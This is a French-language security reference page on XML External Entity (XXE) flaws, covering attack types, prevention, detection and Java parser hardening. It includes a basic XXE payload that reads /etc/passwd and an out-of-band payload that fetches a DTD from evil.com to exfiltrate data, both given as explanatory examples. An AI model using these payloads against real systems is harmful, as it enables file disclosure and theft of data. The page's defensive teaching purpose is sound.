Skip to content

Description

Les failles d'XML External Entity (XXE) se produisent lorsqu'une application XML permet à un attaquant d'inclure des entités externes malveillantes ou des références à des ressources externes non sécurisées dans un document XML. Cela peut entraîner la divulgation de données sensibles, le déni de service, voire l'exécution de code à distance.


Types d'Attaques XXE

XXE Basique :

  • Se produit lorsque l'application XML traite les entités externes sans validation ou protection adéquates.
xml
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
  • Cette attaque récupère le contenu du fichier /etc/passwd.

XXE Out-Of-Band (OOB) :

  • Se produit lorsque l'attaquant utilise l'entité externe pour initier une connexion sortante vers un serveur contrôlé par lui.
xml
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://evil.com/xxe.dtd">
%xxe;
]>
<foo>&all;</foo>
  • Cette attaque peut être utilisée pour exfiltrer des données vers un serveur contrôlé par l'attaquant.

Prévention des Attaques XXE

Désactivation du Parsing des DTD :

  • Désactiver le parsing des DTD (Document Type Definitions) dans les bibliothèques XML.

Validation des Entrées XML :

  • Valider et restreindre les entrées XML pour s'assurer qu'elles ne contiennent pas d'entités externes malveillantes.

Utilisation de Méthodes Sécurisées :

  • Utiliser des méthodes sécurisées pour le traitement des documents XML, telles que DOM sécurisé ou SAX avec les entités externes désactivées.

Détection des Failles XXE

Analyse de la Configuration :

  • Examiner la configuration XML pour vérifier si le parsing des DTD est activé.

Tests Manuels :

  • Effectuer des tests manuels en injectant des payloads XXE et en observant les réponses de l'application.

Utilisation d'Outils de Sécurité :

  • Utiliser des outils de sécurité tels que Burp Suite, OWASP ZAP, ou des scanners spécifiques pour détecter les failles XXE.

Exemples de Prévention

Désactivation des DTD dans Java :

java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

Utilisation de SAXParser avec les Entités Externes Désactivées :

java
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
SAXParser parser = factory.newSAXParser();

CatégorieInformation
TTPExploitation des références d'entités externes dans XML
CWECWE-611 (Improper Restriction of XML External Entity Reference)
Description de l'attaqueUne attaque XXE se produit lorsqu'un attaquant exploite des applications qui analysent XML de manière à injecter des références à des entités externes malveillantes. Cela peut mener à la divulgation d'informations confidentielles, au déni de service, ou à l'exécution de code à distance.
Impacts potentiels- Divulgation d'informations sensibles
- Déni de service
- Exécution de code à distance
- Porte dérobée dans les systèmes
Comment la détecter- Analyse de code statique et dynamique
- Utilisation de scanners de vulnérabilité
- Tests de pénétration ciblant les fonctionnalités de traitement XML
Remédiations/mitigations- Désactivation du traitement des entités externes dans les parseurs XML
- Validation et nettoyage des entrées XML
- Utilisation de listes blanches pour les éléments XML traités
- Mise à jour régulière des bibliothèques et frameworks XML
Lien de référenceOWASP - XML External Entity (XXE) Processing